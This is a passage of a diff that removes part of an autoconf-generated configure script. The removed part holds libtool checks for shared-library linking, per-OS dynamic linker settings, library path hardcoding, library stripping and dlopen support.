- archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_shlibpath_var=no
- ;;
-
- *)
- ld_shlibs=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs" >&5
-$as_echo "$ld_shlibs" >&6; }
-test "$ld_shlibs" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl
- pic_flag=$lt_prog_compiler_pic
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag
- allow_undefined_flag=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc=no
- else
- archive_cmds_need_lc=yes
- fi
- allow_undefined_flag=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc" >&5
-$as_echo "$archive_cmds_need_lc" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action=
-if test -n "$hardcode_libdir_flag_spec" || \
- test -n "$runpath_var" || \
- test "X$hardcode_automatic" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, )" != no &&
- test "$hardcode_minus_L" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action" >&5
-$as_echo "$hardcode_action" >&6; }
-
-if test "$hardcode_action" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-striplib=
-old_striplib=
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether stripping libraries is possible" >&5
-$as_echo_n "checking whether stripping libraries is possible... " >&6; }
-if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then
- test -z "$old_striplib" && old_striplib="$STRIP --strip-debug"
- test -z "$striplib" && striplib="$STRIP --strip-unneeded"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
-# FIXME - insert some real tests, host_os isn't really good enough
- case $host_os in
- darwin*)
- if test -n "$STRIP" ; then
- striplib="$STRIP -x"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
- ;;
- *)
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- ;;
- esac
-fi
-
-if test "x$enable_dlopen" != xyes; then
- enable_dlopen=unknown
- enable_dlopen_self=unknown
- enable_dlopen_self_static=unknown
-else
- lt_cv_dlopen=no
- lt_cv_dlopen_libs=
-
- case $host_os in
- beos*)
- lt_cv_dlopen="load_add_on"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
- ;;
-
- mingw* | pw32*)
- lt_cv_dlopen="LoadLibrary"
- lt_cv_dlopen_libs=
- ;;
-
- cygwin*)
- lt_cv_dlopen="dlopen"
- lt_cv_dlopen_libs=
- ;;
-
- darwin*)
- # if libdl is installed we need to link against it
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5
-$as_echo_n "checking for dlopen in -ldl... " >&6; }
-if ${ac_cv_lib_dl_dlopen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dlopen ();
-int
-main ()
-{
-return dlopen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dl_dlopen=yes
-else
- ac_cv_lib_dl_dlopen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5
-$as_echo "$ac_cv_lib_dl_dlopen" >&6; }
-if test "x$ac_cv_lib_dl_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"
-else
-
- lt_cv_dlopen="dyld"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
-
-fi
-
- ;;
-
- *)
- ac_fn_c_check_func "$LINENO" "shl_load" "ac_cv_func_shl_load"
-if test "x$ac_cv_func_shl_load" = xyes; then :
- lt_cv_dlopen="shl_load"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for shl_load in -ldld" >&5
-$as_echo_n "checking for shl_load in -ldld... " >&6; }
-if ${ac_cv_lib_dld_shl_load+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldld $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
